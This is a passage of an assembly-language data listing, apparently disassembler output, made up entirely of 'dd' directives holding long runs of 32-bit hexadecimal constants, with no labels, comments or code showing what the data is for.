		dd 0F646EF04h, 0E702B12Dh, 569F87F8h, 434EB878h, 0B6BF3112h
		dd 5B08D391h, 0DD923AC4h, 4430EEA5h, 4E0FD558h,	63CBFA40h
		dd 34CC312Ch, 6F8EAA44h, 0C761B10h, 153E6C68h, 56699DCCh
		dd 0E39720D5h, 0CE016082h, 0ED9027B0h, 0FE9F661Ch, 0D0B7437h
		dd 564E1531h, 66E0C06Ah, 7AC039C6h, 72BF5745h, 5288171Fh
		dd 0C97DF409h, 0C3F56317h, 629606FBh, 300FACBEh, 0AF805BDDh
		dd 0AFD66661h, 9EBD2EB4h, 53D01628h, 75C1862Eh,	9BD6398h
		dd 0A1CC5792h, 0AC4075Eh, 0A5F99CAFh, 0D9103B47h, 47561206h
		dd 0FA0A3812h, 0D7A5CFAFh, 17FF946h, 891C579Dh,	0E2C8E927h
		dd 0D63CD518h, 0E9F66895h, 0E8724A0Dh, 87FED7A7h, 0D52ED4BEh
		dd 9B7EA4Dh, 1AA4261Ah,	48848EF7h, 2EB81EFh, 3A5E3527h
		dd 0CA1A15FCh, 0E8F50C1Ch, 0BBF32993h, 8E5888B1h, 0E49AB50Eh
		dd 57FFF221h, 2C84BEAEh, 0A8FFC4AAh, 5FB85E13h,	2084FC5Ah
		dd 0DA870498h, 0BF458F68h, 4EE90230h, 0D7C4B548h, 5D4DF7F0h
		dd 20D48B4h, 45D2197Dh,	99E7EB29h, 0B44BD55h, 5312F15Fh
		dd 5A02E2BAh, 6BE20816h, 0DDE6E90Ch, 2C64DCFBh,	0C2F13CD1h
		dd 4D00E6Ah, 10A6AC52h,	0A44BDA74h, 984F681Fh, 6156FB91h
		dd 662E0400h, 0B830DEC4h, 9DC8AE17h, 40581CBDh,	0EE291327h
		dd 6584CA38h, 89CB5364h, 5011D4F5h, 951D8B3Dh, 5AFBC5Ch
		dd 0EDFC9BF6h, 0A862BA04h, 0EDDD5B0Eh, 0E197755Ch, 140BBA1Dh
		dd 80B08907h, 0B5DFB7EAh, 5C05042Bh, 0AC7A986Eh, 0AF074180h
		dd 8058003Eh, 7667EE1h,	0F6CE8852h, 8BF147DEh, 0D08BBA85h
		dd 0EE8A0F18h, 0EC95F29Ah, 13B775B0h, 0F3BCD2E9h, 70AA5ED8h
		dd 0FF788449h, 75E1BCD6h, 1E109932h, 0E0E91371h, 0BF05FAF0h
		dd 0BD9091B4h, 0AA83F6E6h, 222AF0EFh, 2D0502BDh, 1C426677h
		dd 8105DA82h, 5902E907h, 0F16F412Eh, 2F7080B1h,	128D9F1h
		dd 5DCE2111h, 29CC04B8h, 21AF2F51h, 22090D9h, 1215CD59h
		dd 0E4680455h, 0A0F3AA3Eh, 0D4E2DB4Ch, 702445F6h, 4255EE00h
		dd 0B0014A08h, 8C65095h, 8A1A9C59h, 0BCB0565Eh,	0D3F7D98Dh
		dd 0D80C3808h, 2D965E0Dh, 0F3429AE9h, 0E917F175h, 260079DFh
		dd 0E7D812ABh, 0E2D57BBFh, 0EFCA1312h, 214DCBB0h, 362CFA30h
		dd 0B52CDA10h, 498313C4h, 59825ECDh, 2800067Dh,	6F305BFAh
		dd 0A7A985D0h, 0BF0530D8h, 1F4C6D3Ch, 94FC9F0h,	2939C5E8h
		dd 90CB1675h, 27D8176Eh, 1301AA03h, 30DE0895h, 3E87188Eh
		dd 627E0B8Bh, 586008A0h, 0D879CE0Eh, 0CE289F4Ch, 4A0C3408h
		dd 252FEA23h, 808BA055h, 2D0F8AC6h, 0DEC24883h,	7DB81E7Fh
		dd 0C3BE0188h, 0E9761E0Dh, 0D1127BF6h, 17C598BEh, 48109949h
		dd 7E862F1Fh, 295FE29Eh, 2F2C2D49h, 0D2FE52BBh,	627F3E46h
		dd 0B6E555A3h, 7B355C25h, 0E782E9FAh, 5B0641D3h, 0BC76F6B7h
		dd 0DE542DD3h, 0FEC41061h, 0F7E1E103h, 68E02ED9h, 76B7048Dh
		dd 0AACE29AFh, 68090BCBh, 0A9463C7Bh, 56AFE194h, 6FB0C9Dh
		dd 6F7A8B29h, 815D2A00h, 0D8626ACDh, 324B867h, 0BD66BA69h
		dd 42FAEA89h, 452D8B81h, 0D23FEF8Ah, 3B49D3Ch, 3AB2E187h
		dd 85492832h, 9EBCCD8Ah, 0A8AE04D3h, 8C600FEh, 0B046AA20h
		dd 0E104F135h, 2CEB2FB8h, 0AAEEE92Dh, 85E926D3h, 1817EF5Eh
		dd 90AC0AA0h, 0D78D81DFh, 3016E7FCh, 0C7CC201Dh, 822602CAh
		dd 0F11EBF3h, 409C63Dh,	6C563BEAh, 0E39008A0h, 0AAB8BE4Ah
		dd 5A9AEB4Eh, 2B61FF5Eh, 0DCA7A0D7h, 0CB60FBDEh, 5EC96859h
		dd 0A1CDB81Ch, 543C63E9h, 7838FE5Ah, 0E0DD4D07h, 2111D898h
		dd 0D6220D24h, 0F93DE22Fh, 0B70B7B93h, 0AEEACEE9h, 0E268CB05h
		dd 0EA40F7BFh, 50814F95h, 0F429C2F7h, 0CD8A4259h, 0EF05FADAh
		dd 4E510AF1h, 12F6D4BBh, 2A3E2108h, 595F0274h, 0C480695Ch
		dd 6FBB06D2h, 1F8061B6h, 5227FD77h, 1DB002BAh, 0D5091A3Ah
		dd 571D09FFh, 0C8B2CB12h, 80FB8C55h, 0BF3013D7h, 9550BB76h
		dd 3D894E08h, 39AAAD54h, 42EE9126h, 523D0D00h, 2D051ADBh
		dd 5E691513h, 0F5B05AE8h, 7D485516h, 82C707C1h,	0F257BEECh
		dd 7604A9CBh, 178EC2D2h, 98C544FFh, 0D50B512h, 0E90210C2h
		dd 0D8097DC0h, 36D07FDCh, 0FF8282B8h, 86DED108h, 2A02D917h
		dd 61BE94B4h, 13F1CAB1h, 7A43C56Ch, 0EBFC6816h,	5A81758Ch
		dd 8CD72862h, 3C89715Eh, 6F19D941h, 6493CC2Eh, 9DFE9F20h
		dd 853397DFh, 0D00CB3E9h
		dd 19D8059h, 161F0BBAh,	319655EBh, 0EAB4B1BCh, 4672C541h
		dd 0CC3C3D42h, 590740h,	325C402Dh, 57FC0503h, 74E863Dh
		dd 485174E6h, 382BCEF0h, 0D029106Dh, 116A9D05h,	16FD1B83h
		dd 0E6AF0425h, 0B8DAA69h, 9C4DA7Eh, 40BBE95Ch, 13F8B9DEh
		dd 17F053Bh, 344D1A4Eh,	27D7326Ah, 573804D1h, 206C7180h
		dd 0EA7F7997h, 8F08B9BCh, 0C44B575Dh, 80F5442Bh, 0FEF03552h
		dd 0C13EE3BFh, 57A17E7Ch, 0D5968219h, 69570D4Ah, 1AC26DC1h
		dd 62935655h, 0E7EE5F02h, 0C02F12F4h, 882F71FEh, 349036D4h
		dd 0CD7C444Bh, 0A0680231h, 0F2C8DE16h, 78E16041h, 0D8291794h
		dd 418CCCFEh, 1A2FCF94h, 96125732h, 2FDA52C0h, 78B6FEDh
		dd 0FC15327Eh, 0B25F521Ch, 9515F14h, 0A535DEA7h, 418C45F5h
		dd 20F88850h, 6054E966h, 0E000BAC0h, 0BB6EE804h, 4F17FB24h
		dd 0EAEBB491h, 0A537DB3Fh, 0C08753Dh, 0ECE90D08h, 20EB21F7h
		dd 1E1621C6h, 530739C0h, 7B466DFh, 0E848B4ACh, 8D7D9104h
		dd 0F8B01672h, 165F9D50h, 41CA904Bh, 0C29D4A4Ah, 0D77A7FE9h
		dd 71E5EEA0h, 3E014042h, 5F9DBB53h, 0CBF05012h,	0B16C0401h
		dd 0ACAEE956h, 1F497590h, 9FF85BD0h, 3D15ABA5h,	0E4508F16h
		dd 0CDFA3391h, 7D12E6F3h, 8B25FCE4h, 617DD93Ch,	6A2D46E9h
		dd 922D156h, 6287D658h,	56686FE9h, 5A585D52h, 7C590702h
		dd 48E22D67h, 9C155CF9h, 0A3F1C001h, 0FE03E1C0h, 0D9F6C919h
		dd 813AFA14h, 1FBDD59h,	0A2683433h, 3F3C0F9Fh, 69182D7Fh
		dd 0C6979FBEh, 4B633125h, 81AE09B5h, 51C7E475h,	0EDD8B3B5h
		dd 9FECE05Ch, 4322B15Dh, 0E17E2835h, 122E9E59h,	0F6847AD7h
		dd 29A2C7E9h, 0E782A7DAh, 310E46DEh, 24D64FF2h,	908F2EB5h
		dd 1373C140h, 0AF58502Bh, 129BF800h, 7E0F14B9h,	0FFAC278Fh
		dd 5CF1987Ch, 6DDCFE9Dh, 2AFF273h, 55555461h, 5A1EF365h
		dd 6288E9C9h, 0FBD032Eh, 0D79DDA8Ch, 2610A66Eh,	5789FEAEh
		dd 5604EAD4h, 32A4D691h, 77851A0Fh, 547728B1h, 0A3DAC289h
		dd 0F72D1468h, 753A3571h, 92A0448h, 9CC76E16h, 0CFA5B5D0h
		dd 387EB61Ah, 17931C8h,	21365425h, 7FA9E9F1h, 65CA8940h
		dd 9038841Bh, 8C0B02EEh, 0D5317C6Ah, 861EEAF5h,	0B78E9E35h
		dd 6713CDFBh, 0B66FD3B1h, 0EB0BD2D3h, 0D69C298Eh, 97622882h
		dd 810939DEh, 7A7075EBh, 58AA0CD3h, 6EE92A85h, 2288AB6h
		dd 7827D89Ch, 0F848220Fh, 9643E720h, 0C3C640B8h, 11F2543Ah
		dd 26382319h, 0E67EAB80h, 0C8BE02A3h, 5D036468h, 44CFF098h
		dd 9636519Fh, 4EDCAE51h, 0EA54BF59h, 7FB6C589h,	0BDC1FA4Bh
		dd 54187322h, 0D560F766h, 7E2D580Bh, 0ABFFF2B3h, 0F7494FCCh
		dd 91BE938Ah, 6A7679EFh, 3FF12E93h, 0F801B8BBh,	0C329E123h
		dd 7F12B58h, 0E33BC1CDh, 0E553C52Eh, 257BB8CAh,	0E154F9B2h
		dd 1032A068h, 3AF87566h, 54F32C2Dh, 3F1B60C3h, 7C900B5Ch
		dd 5AD3E320h, 29FA90BFh, 5B485FFEh, 5E55055Eh, 3FAD1D6Dh
		dd 0AD310841h, 1538EF2Bh, 644E26E9h, 6F1C82F8h,	0C2D506FBh
		dd 830708E2h, 86544E16h, 5B125C8Bh, 247C57E6h, 8310359Ah
		dd 6241123Bh, 0B3D4B7D1h, 80EE9E2Ch, 0A71DF49h,	0BD55CE01h
		dd 0F9E90508h, 0B0E731F1h, 9744E890h, 6806BF92h, 10BC225Bh
		dd 477A4E7Eh, 0C935BD99h, 8BAB9A03h, 0EF21161Dh, 20B138D3h
		dd 9A89B2Fh, 5273FCE9h,	61553858h, 2DFA4A2Ch, 0FC5FF762h
		dd 0B842C57Fh, 64E91674h, 0EBBA7780h, 34A22474h, 480A0EECh
		dd 0C32A4Ah, 40547094h,	260E2C1h, 0B938927Ah, 0BCCAA02Fh
		dd 6721F0Ch, 0DC4AEFE9h, 8C170F5h, 12EB10D3h, 8819920h
		dd 18B7A5Bh, 94F09019h,	0DDBC7ABBh, 3B4EE54Ah, 5A5902EAh
		dd 14E89BE9h, 6A1EC5B8h, 0C38949B2h, 85F210DBh,	22CF44F6h
		dd 896BC041h, 49D9CC0Ah, 9A6815Ch, 55A5F0A1h, 6954DF0Bh
		dd 0C5C5DD69h, 0D8B96862h, 0DA7796BEh, 251CDA57h, 0DFA9963h
		dd 155E0509h, 0EEE2D057h, 0D0202CF8h, 0E9C205F4h, 3157F156h
		dd 4A1BEC49h, 4F5F4216h, 9C7F4402h, 1DCB26FEh, 0A6B63B98h
		dd 0BBB80Fh, 0E1056EB0h, 69483714h, 84357064h, 209A0AF3h
		dd 7D697EB1h, 5EAD75D9h, 103C11B0h, 7D5840B2h, 300D1600h
		dd 0B18A0F75h, 4B1D2AB4h, 0D05E18FFh, 3BDCB326h, 5265E98Bh
		dd 0BAB2FF58h, 0D399F7D2h, 0AA140BBh, 530EC59h,	13A6FA02h
		dd 94C301CFh, 32BE4B2Bh, 0E65D72FCh, 51FC9D8Bh,	0DEC44202h
		dd 61E2F599h, 0CFFADE57h, 0EA82D80Bh, 5A05CA3Fh, 460A31AEh
		dd 3DF86FD7h, 71021BC6h, 8082C672h, 7423CD6Ch, 45372D33h
		dd 0F5800DD4h, 561F5844h, 53BF2E57h, 38511A20h,	0E95717CAh
		dd 68361FBh, 76B65260h,	9614EEC9h, 87FA6A12h, 0CE951AEh
		dd 25916FE6h, 0B5D792D2h, 0A1063CABh, 521DA5Eh,	0FAC8CF88h
		dd 2F82985Bh, 0C192BDD4h, 0B6640F5h, 24519778h,	6CA4CA8Ch
		dd 0F80EB566h, 2713980Fh, 96AA84E6h, 80E2B20Eh,	0FD5C605h
		dd 0BDD48C88h, 8374BDEBh, 0EDCBF5E9h, 0E9F153BCh, 8D122F57h
		dd 0BB977DB2h, 9EF9A8C8h, 0AF5F121Ah, 0AE97E0A3h, 2B63B3CDh
		dd 1405533Bh, 0F83CCB51h, 0CC293926h, 3B0B41AEh, 0EA1AF6FCh
		dd 805D8BDFh, 1622F2CBh, 0B36D8025h, 9EAF395h, 265B495Fh
		dd 9C684A48h, 28AFA617h, 0EA416C82h, 0EE4C842Ah, 1F2DD8FCh
		dd 0C1FC874Bh, 545CBAB4h, 0EE89823Eh, 28FA0891h, 3680A00h
		dd 76B54A6Eh, 0BE1ACEB8h, 0C05F1095h, 537F824h,	0E1C11189h
		dd 1102AE07h, 0D9C49BFBh, 52123D8Fh, 0D51DB89Ch, 0CE685038h
		dd 91F65128h, 0DCAF737h, 0F60AF9F5h, 0C6E273F3h, 0C1F19BA4h
		dd 926E9598h, 0CFF61307h, 3BB062h, 0AA42E8BFh, 0D827F698h
		dd 82C35BEDh, 8F66C331h, 96AFC640h, 0DCC121D3h,	0EE05CC93h
		dd 63852BB2h, 9912F8BFh, 70890E10h, 3F80C729h, 5AE5164Dh
		dd 4023350Eh, 581A19FEh, 0F3947FC6h, 0CB4AB698h, 0C69A30E2h
		dd 0D0D7097Dh, 0D2769F43h, 809B3C78h, 243C5C01h, 0F48E9E08h
		dd 32EA5F7Dh, 267E0317h, 0EEA70501h, 167BB7F2h,	7D95EFD8h
		dd 46481A0Bh, 0ACC92040h, 0D2F65904h, 78F8E2D0h, 0EB71146Bh
		dd 0E1F766C0h, 0BB82C68h, 0E9546173h, 0F5B17EF8h, 0B36A66Fh
		dd 75FEC4E8h, 0D737A6B8h, 0EAC52DC0h, 166A5159h, 0BB2C875Bh
		dd 0CD4B0CCBh, 0BF454429h, 0D13BC9ADh, 0FEC82A89h, 5369387Dh
		dd 0FDE082E7h, 6082FAB8h, 0EE08F1F3h, 1D41267h,	895CA2CDh
		dd 21807F31h, 0E4D6F249h, 3C2BCC0h, 77E97EBFh, 31688071h
		dd 5525C9B4h, 7AA781C5h, 0FE6F2DF9h, 1CCC8259h,	0D31ED0EBh
		dd 8F12D83Ch, 6CD245A2h, 0B6B03544h, 4E6113DEh,	5C0DD8ABh
		dd 0CA0B4598h, 0D47D6E19h, 28E60ED5h, 0D0F75465h, 2B4748B4h
		dd 77A6C58h, 51964C7Ah,	2933E6C0h, 4F1B8BAh, 0B9328FCEh
		dd 0F2E871Ah, 0EBF410C5h, 7DEB1E49h, 2EB8D8F8h,	25DA1B4Dh
		dd 52A2DF29h, 77489A1Ch, 56284C76h, 8F00DE0Bh, 8132B20Fh
		dd 0C43F9EAh, 0DAF72AFDh, 0DC7DE904h, 83854496h, 8CEBFEE3h
		dd 67CB85FAh, 2CABD7B9h, 3F42E47Fh, 0F64FD64Ah,	7CE57B4Ch
		dd 0FC9F7A6Fh, 3A7D27BBh, 5012742Eh, 61405568h,	0E314BE9h
		dd 0BBC49DF1h, 0B671AB7Bh, 0F62CF268h, 271CBACCh, 9093859h
		dd 862C916Eh, 270704CEh, 5B09CDE9h, 4475D9DFh, 3B4DE159h
		dd 0E97521FBh, 30EA3514h, 4F580F3Ch, 7768C0CCh,	9F01A76Dh
		dd 0EA6076D1h, 690F582Eh, 2777C74h, 48D81671h, 4B8DE993h
		dd 8585A9B6h, 41815554h
		dd 269DFC7Bh, 3E8A8842h, 0A809571Fh, 0BF2FACCh,	66834F6Eh
		dd 0CAC0B956h, 0DA67A36h, 0E006E90Bh, 22EC3B46h, 0E9DF19B3h
		dd 0E1B3F977h, 2B9445E9h, 0F513D2A6h, 0B3BE613h, 7E9E0EE9h
		dd 38092D0h, 0E38B0F56h, 77977CBEh, 16E91DA3h, 51BD2AAEh
		dd 8ED18BD7h, 7941F74h,	144C11C2h, 0B432FB5Eh, 0C1CEA55Eh
		dd 0D68BA645h, 8EA5FE52h, 0BF649161h, 406BEC5Eh, 180335EEh
		dd 1D1B3A5h, 0B902E0C7h, 14F4BFFEh, 6DD582C5h, 0AD4705EFh
		dd 0AD24FF60h, 0D894BD04h, 53C222BAh, 0AE6FAF8Ah, 3780DB1h
		dd 88F87FB7h, 5CCD8A82h, 65E85457h, 4A8349CAh, 0CFE6BC0Ch
		dd 0AA18A604h, 248BD029h, 0CE80116h, 0BFA0C537h, 0FB179D3Ch
		dd 7F8950B7h, 60460C1h,	33F13503h, 0A2DE8D50h, 65B57392h
		dd 0F9B6AF86h, 0CAAC32D3h, 0D0B35380h, 0D9E05EB1h, 0E9C24DBCh
		dd 1CE4766Ah, 3B72E731h, 0B0737C20h, 215F1632h,	84A4FDC8h
		dd 0B5B4B2E5h, 254500CFh, 4F020515h, 0C13B4273h, 0A42D02E0h
		dd 0C811604Ah, 5BF1E9E9h, 1DBDA33Bh, 8A494BBFh,	0F59189F4h
		dd 0F89FC4D8h, 5D2F4B32h, 7FDF84C3h, 0D77782EDh, 4D5DEA6Ah
		dd 37EB21Ch, 3505A680h,	200010DBh, 199F250Bh, 26E97CE2h
		dd 83ACBB66h, 76422996h, 0E34995D2h, 2C17D968h,	603BC07Ah
		dd 26D10684h, 3F24EE6h,	399C18D7h, 13690C00h, 74E923FAh
		dd 0BC9BB9B8h, 0EE451A1Dh, 94A065C2h, 75E7AFADh, 451F0701h
		dd 60D0894Ch, 39D36D05h, 4ED646B0h, 8075FD5Ah, 139320E0h
		dd 4A73FC05h, 0B30E82BBh, 94D48803h, 7ED7E982h,	0E57271Ah
		dd 29FA9688h, 6B0D4205h, 797D1841h, 5CC9DEF1h, 3CA7713h
		dd 7032EF40h, 2815FC30h, 0A965B3h, 0AA0B0554h, 7FE9B02Ch
		dd 55FF952Fh, 40DF5496h, 10D075C6h, 0F75CBD0Ch,	0FE50C040h
		dd 46F6A169h, 20F9CE50h, 527502FCh, 355EB951h, 4CBA1860h
		dd 0F25EE671h, 0B387F3BCh, 8B85FAh, 627ECFADh, 0D67E2939h
		dd 3008EE51h, 0E5CE1E87h, 0E8884753h, 6F258229h, 200CC406h
		dd 48BDADAAh, 91B6365Dh, 0C3D61D43h, 0F9297237h, 886C1C2h
		dd 0F7C1E5Fh, 0F0E705Ch, 0CF15C4C2h, 41BC6938h,	126F5895h
		dd 2B95FF56h, 283591EFh, 74F6985h, 29B30A0Eh, 5FEEB2B2h
		dd 9E20E9BBh, 7F70EAFBh, 1A5D9529h, 0A20F9089h,	0E1C280Ch
		dd 6B7C09ACh, 0D9D45DACh, 0FEC47384h, 96856E4h,	4A795806h
		dd 0EBC0E6FCh, 4B214725h, 0BCC12D0h, 0B25703D6h, 5825F0Ah
		dd 81008661h, 0A6F45E2h, 0EAD10BF4h, 7A7F02CBh,	51FE20C7h
		dd 0FDE7091Eh, 6088A415h, 196805DAh, 739DAF3Ch,	49188C79h
		dd 0DFF6CA9Dh, 102A5078h, 0F105999Eh, 18D70C5h,	0E4EB5CBBh
		dd 137C0F38h, 0A75EEBEh, 2517B493h, 4E7EC4D5h, 6A86E11Eh
		dd 4E9DE298h, 0C0ECB852h, 5676753Eh, 3CC07BEh, 84E9E1E2h
		dd 0D2B6FC94h, 4B7B87EFh, 0AE80B7DEh, 112F761h,	0FC5148C3h
		dd 670A1605h, 0A0F88041h, 6458326Ch, 0CB791792h, 8882DEFCh
		dd 0E9028A6Dh, 0F7D662A1h, 0BB793EEh, 0D7896CE1h, 31624963h
		dd 0A2C1D1DFh, 0CCE916C2h, 2C3EF7FEh, 0E40C9555h, 95EF6BC9h
		dd 6F580FDFh, 27EB9623h, 0A43E8295h, 0A03F14FDh, 263DE615h
		dd 2CC4326Ah, 0E58B1D09h, 0F17D3E09h, 0DF29C396h, 8DEF4C4Bh
		dd 0DCCB3A96h, 5847D910h, 489316FEh, 4F806216h,	2CB15159h
		dd 17EDC071h, 2C090780h, 90AC747Eh, 9CABB10h, 0A683134Eh
		dd 1141392h, 0E0E017CEh, 1E04BDCFh, 837BAC61h, 26D21887h
		dd 0C213776Ch, 7DD8FBC7h, 0E92DD19Dh, 25A39BF7h, 0E4FA8D66h
		dd 4730AD06h, 5DE526Ch,	0E908016Eh, 6678D24Bh, 63B2DB82h
		dd 807E405Dh, 0E9BE09C3h, 0C4A51AF3h, 0A0C20EC6h, 5ED92DFEh
		dd 0B0EB648h, 6D099731h, 2D7B7EC3h, 120816F3h, 7584634Dh
		dd 0A4F7DB3Bh, 5B97F115h, 8AD722F2h, 0E9540506h, 9CFBE17Bh
		dd 681758AEh, 3CE620AEh, 7628BA93h, 57D42F68h, 9D4A4F46h
		dd 0F94F3CACh, 0FF50A25Ch, 0FA62563Ah, 3D717357h, 4AE4979Bh
		dd 0EB63C1C2h, 544EABB4h, 753149ADh, 68FC7F16h,	594CF03Ah
		dd 0F47B20AFh, 7A5D7CA7h, 2E72720h, 78523359h, 0CF6EB79Eh
		dd 0F651E912h, 0EA49D5BFh, 8E022144h, 8807E514h, 0B4AE6FCFh
		dd 1A9A841h, 0EF166EBFh, 0AD6E8972h, 0F6810EA0h, 1D490E4Eh
		dd 2BE84BFh, 50BA3EF9h,	164C0841h, 206A417Ch, 6997ED25h
		dd 0E32F3016h, 76AB409Ch, 5E220407h, 7861E2BDh,	16A6E947h
		dd 0B050608Eh, 0E827C0CDh, 1DF1F004h, 87D820FEh, 0B4162C5Bh
		dd 0AD04FF12h, 79EF78B1h, 45A46AE1h, 60DB4180h,	138CEB3h
		dd 0E27B078h, 0BE7F8EEh, 0F1312B3Ch, 0A650D785h, 70E05F04h
		dd 2E24E645h, 396AF329h, 2BC4EEAh, 70F91089h, 925005Fh
		dd 93127E0h, 0CE5E9EBh,	0E1D2AEA4h, 72742E10h, 70FF3CD4h
		dd 3657686Fh, 0FB0BA6A8h, 0CA7A5581h, 0F42010B9h, 93D3FD4Bh
		dd 59BE90BFh, 0F9BFFEF7h, 28915AB6h, 0C3883F52h, 91D139F7h
		dd 860FD883h, 4C4EADEAh, 0E91691EEh, 51162F5Bh,	0E9C2B5E3h
		dd 0F2763C4Fh, 98E1C1D8h, 0C8A620F6h, 701B54D9h, 733FE4h
		dd 52455355h, 642E3233h, 41E06C71h, 91564439h, 4EC74950h
		dd 1A4CE754h, 5E01A30Ah, 90AE915h, 0C81C13E2h, 0B45F0EBBh
		dd 0F105FD29h, 0AA0A08A9h, 24C9B142h, 2C8625A0h, 21964215h
		dd 9E8C105Eh, 8221CCD1h, 7888F010h, 8BF50680h, 1CAA4EEAh
		dd 80F35DD0h, 0EE269223h, 5700C16Ch, 0A53BBAC2h, 11484h
		dd 475EFA7Bh, 6B8C28C5h, 309C1100h, 0B0D5581Ah,	0FBBB0FF6h
		dd 15E970FDh, 0EE78BE80h, 0C400F3B3h, 871D305Ch, 17717AABh
		dd 1F68F87Bh, 0CCFCC0F0h, 759CF5Eh, 0FDEC5Ch, 28B446D4h
		dd 1FAB7BF9h, 0D7D119h,	37B56B27h, 0F100158Fh, 0B94D5D40h
		dd 16984E1h, 12356CFEh,	0C055F226h, 0AB77EBA6h,	6546B007h
		dd 80B0A93Fh, 18680295h, 1DE3A3DEh, 0BB73772Dh,	0EC1C7400h
		dd 38944E08h, 0D2630016h, 8012DBB6h, 0D87D6EFCh, 0A748600h
		dd 0EBABE670h, 3EC7066Ah, 0DE2A2DFh, 1C0F327Eh,	0C027AA86h
		dd 7D81061Fh, 0F65F6E4h, 7DF6D8Eh, 0D40E800h, 9002055h
		dd 38D2C632h, 25B33Eh, 11C27047h, 758EADDh, 0C5014F9Eh
		dd 7A9E3ABBh, 0C36DC0h,	76A2532Dh, 0A7119C1Eh, 4BEA9200h
		dd 0D16454D5h, 0AE0A00ABh, 0DC78F577h, 0AC70413Bh, 0E588EA01h
		dd 2B6B2680h, 0D780D057h, 0A04AF1h, 0F56020D1h,	7F0DA63Fh
		dd 47D2A700h, 11AC46D0h, 1B5207F6h, 8739A9EFh, 5F8C538Bh
		dd 0F2930200h, 37B0DE88h, 0C9E0004h, 5ACBAE40h,	0C171E3A6h
		dd 0E13DD31Dh, 35911783h, 32C0EC22h, 0FC89F3h, 3C833CFh
		dd 0DA27130Ah, 6A804C09h, 635D8008h, 0E889C519h, 12980011h
		dd 32340E70h, 0CB5A8D22h, 48E3D0C0h, 2B850028h,	5CF87507h
		dd 2D12C0BAh, 4B409383h, 46D65F1Dh, 0F17FE1h, 0EA3B9518h
		dd 0C669CB6Ah, 9D3FB60Ah, 0F01877Fh, 0FC9E1E93h, 44768D40h
		dd 0ED68066h, 0CEA8421Eh, 0E8917B80h, 9DBD92Bh,	3F158430h
		dd 2CADED26h, 0C9DFD238h, 73310074h, 9FF250DDh,	14C56043h
		dd 0C8651725h, 0D9A9500h, 5797067Bh, 163760B2h,	0BA78E5F7h
		dd 20A4E707h, 60FE6F0Dh, 0D16B3925h, 9AE20075h,	0E696B91Bh
		dd 4854A91Eh, 0F4A0F983h, 9EE670C4h, 0AE3C4607h, 0BE935642h
		dd 918EC3h, 7DC1574Dh, 2AAAFB63h, 213CE38h, 0FD8C0597h
		dd 90AB43ADh, 0FEA46EFh, 0AA43640h, 73AE17E0h, 1F303128h
		dd 3A87D45Dh, 0C9D0A067h
		dd 0E6E4D8h, 0BBE92FC7h, 9A1A9721h, 200F87F2h, 0F4C0287Ah
		dd 0C86F30EAh, 0C01E5EF1h, 0D6564F54h, 9900BE1Ah, 373BC0D1h
		dd 1CD52690h, 0C0B7456Fh, 9835C755h, 6D0008B8h,	8E6A7AA8h
		dd 0D46652h, 0A1CD0FAAh, 5D913C31h, 97C3FAh, 2050FB56h
		dd 0F23008Dh, 0C254C06Dh, 9B0035B8h, 0C864098Bh, 1EDE5725h
		dd 89E94Eh, 0E2339D10h,	6102D362h, 9507AECEh, 179D4087h
		dd 9616128Bh, 7E0802FBh, 141E1E4Ch, 0B2C2A2E9h,	0EA738900h
		dd 0C7A1E86h, 873007E4h, 851B1B81h, 35A73F3h, 201F8A7Ch
		dd 0BDF8FB1Dh, 59019127h, 31DA956Ah, 9E78D584h,	39ED5071h
		dd 28B800BBh, 2E5387CAh, 6C00E8C3h, 5250ACCEh, 772ABCh
		dd 37B4F8E0h, 45A14C56h, 4889903h, 90E6712Ch, 1387AAE7h
		dd 32FCBDDh, 0D7EA839Eh, 0D0C4E4E8h, 0B8C6C6A0h, 80FA1C1Eh
		dd 0F64ECC45h, 6A4518C0h, 208A3F9Ch, 8849F000h,	94030538h
		dd 483B62Fh, 40870C1Bh,	0B7F642C0h, 0BDB8002Eh,	2234902Ah
		dd 0C8048458h, 6DC55BD9h, 9FD37981h, 0F2E33620h, 909EE2CCh
		dd 958C0F30h, 0D9A4CF17h, 928080FDh, 691318FCh,	0F11E8246h
		dd 53E572C7h, 8110C867h, 484E99h, 7E089E5Ah, 9C3842D6h
		dd 82037928h, 360B582h,	490E4CD9h, 0C048CE70h, 3F1733CAh
		dd 82A80006h, 10927EBAh, 0FE1279CCh, 9000BB5Fh,	4A47D167h
		dd 9330032h, 9620824Eh,	52002CCEh, 0AFDB71A3h, 26BCF58Bh
		dd 3FA32FCh, 24F88E14h,	62F05401h, 36B125CCh, 8C1E530h
		dd 4735A0Dh, 20A04B0Bh,	901D5FB1h, 68120024h, 0B93B6BC5h
		dd 75019834h, 39FE6E07h, 6634B459h, 63120192h, 0D75E1E31h
		dd 8A5C865h, 463B671Ch,	5007FA52h, 0B321BCCEh, 0ECFC37A0h
		dd 0CAFD4C6Ah, 0EA7C2600h, 0FE612150h, 0F1B32AC0h, 6327AF39h
		dd 0B4C47D10h, 52890ACh, 0B59863DFh, 7067FF0Ch,	9914BB16h
		dd 0C2B802B1h, 0EA408133h, 0DC603460h, 9A4D097h, 3A962693h
		dd 0C7A673h, 7D923EB7h,	0C6007203h, 0C2AB4A34h,	61E9A9D8h
		dd 112B90F9h, 2CAD26B3h, 84004AC9h, 0DB09171Ch,	16EE3811h
		dd 296249Ch, 0E5A5DC76h, 2F3E607Dh, 61BD0175h, 1AF9A074h
		dd 0DF037B93h, 74880879h, 0B2C000Dh, 9E4DE371h,	0B390AB21h
		dd 0FD40417Dh, 98448861h, 3B0B890Fh, 582DE3A9h,	0C1B0E8DDh
		dd 5AAA4872h, 23CD3A30h, 0A53A49A1h, 0C35180C9h, 0ED789032h
		dd 98287844h, 8F6B1CCDh, 0DF5A4E5Eh, 10C406F3h,	0A648440Ch
		dd 0F48E026Ch, 400AFDBDh, 8D177Fh, 97EAA4A5h, 0E477D07Ah
		dd 4F02D9F8h, 2F0B7587h, 0B444615Eh, 891BE0h, 0C9922BB5h
		dd 0A2DA7F04h, 40423Dh,	3BF7B325h, 158CB66h, 727A6929h
		dd 60F9AB78h, 0C83FA021h, 0E87F013Eh, 92A420BAh, 0CE5F40D6h
		dd 9850172Ah, 0CABA050Eh, 27BC812Bh, 517B70EEh,	36229101h
		dd 0BA2D218Ch, 0A0C4976Fh, 6AC66F09h, 3912B4E4h, 5F00799Fh
		dd 0DD50D2C2h, 9EDE0573h, 88A09917h, 2B097AC5h,	0A0A804A9h
		dd 3C3EDCB3h, 9ECC59B1h, 30AF824h, 0B3A51B31h, 889F381Eh
		dd 960EBC80h, 5C5E2036h, 350C786h, 732D489Dh, 0A700D03h
		dd 8E050399h, 2E7418D0h, 481F00C2h, 31722FAEh, 0E25E9232h
